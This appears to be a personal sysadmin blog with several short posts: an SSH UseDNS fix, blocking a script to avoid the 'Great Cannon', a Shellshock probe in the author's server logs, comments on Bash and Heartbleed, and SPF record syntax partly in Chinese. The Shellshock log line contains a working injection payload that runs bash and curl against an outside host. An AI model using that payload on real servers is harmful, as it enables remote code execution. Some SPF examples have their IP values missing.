SSH Logon takes long time?

I’ve been suffering from this on CentOS 7 for quite some time now but haven’t really have time to dig into it.

Just today, I noticed the line after a successful logon:

Last login: Fri March 27 16:03:23 2016 from gateway.

Aha, now I know where the time has been spent. The SSHd must have taken a long time to figure out the host name of my login IP.

I’ve suspected this before, but in my sshd_config file, the line “UseDNS” was commented out, so I thought it must be something else.

A simple “man sshd_config” revealed that, “UseDNS yes” is actually the default setting:

UseDNS  Specifies whether sshd(8) should look up the remote host name and check that the resolved host name for the remote IP address maps back to the very same IP address.  The default is “yes”.

So I just add “UseDNS no” in the configuration file and restarted sshd. Problem solved.


How to dodge “the Great Cannon”

I don’t want to go in details and risk my own blog. So basically one of the scripts that’s very common among websites is targeted and redirection code was injected.

Using Adblock, you can simply block this script:

And then you won’t get redirected. It’s that simple. 🙂

There might be other scripts I haven’t encounter yet, but you should be able to use the same technique to block them as well.

Targeted after 3 days - - [27/Sep/2014:04:54:05 +0800] "HEAD /cgi-bin/ HTTP/1.1" 403 158 "-" "() { :;}; /bin/bash -c 'curl<site-name-masked-off>/cgi-bin/'"

This is the first sign on my server that someone try to exploit the potential Shellshock vulnerability on my server, just 3 days after the vulnerability was disclosed. Should I feel happy that I actually get high attention? Luckily I patched this server the next day the vulnerability was disclosed.

Vulnerability found in Bash

2014 must be a really bad year for open source community in security.

Less than 6 months after Heartbleed was found in OpenSSL, now Bash is found vulnerable of remote code execution. This time I’m not sure it’s because of poor funding or something else.

Maybe it’s a good time now to look back on how did the Heartbleed bug come about. Mr. Bruce Schenier posted a very good article on this.

Heartbleed vulnerability

Just saw some friends sharing this in Wechat. Seems I will have a lot of work to do – patching my servers, replacing certificates, regenerating keys, etc.:(

It’s really unbelievable. This will be a big blow on the open source community. I already saw people saying “see? Open source is no securer”. Well, they are right.

To me, this has nothing to do with open source or not. M$ may have something even worse but you will need longer time to find out. I just searched the web and found that as a library that has been so widely used, OpenSSL has only one full time developer and receives on average $2,000 donation per year. What do you expect?

But that simply won’t justify such a disaster and it will cast a bad image for open source community in general. I can only hope leaders in this industry see this differently and start to support these great open source projects. They deserve better!



How To use an SPF Record to Prevent Spoofing & Improve E-mail Reliability


<spf preamble> <address list>

v=spf1 spf记录的起始标志。目前只有1号版本的spf,所以只有这一种写法。



  1. + 表示该地址被明确允许发送来自该域名的邮件。该修饰符可省略。
  2. – 表示该地址被明确禁止发送来自该域名的邮件。
  3. ? 表示对该地址目前暂时没有策略。
  4. ~ 表示对该地址应该使用柔性策略,接收方应该接受,但是可以进行特殊标记。


  1. all 匹配任何地址;
  2. a 匹配该域中任何A记录地址;
  3. ip4: 匹配紧随其后的IPv4地址或者地址段;
  4. ip6: 匹配紧随其后的IPv6地址或者地址段;
  5. mx 匹配该域中的任何mx记录地址;


v=spf1 ip4: -all



v=spf1 ip4: ip4: -all


v=spf1 mx -all


v=spf1 mx ip4: -all


v=spf1 mx ip4: ? -all


v=spf1 mx ip4: ~ -all


v=spf1 mx ip4: -all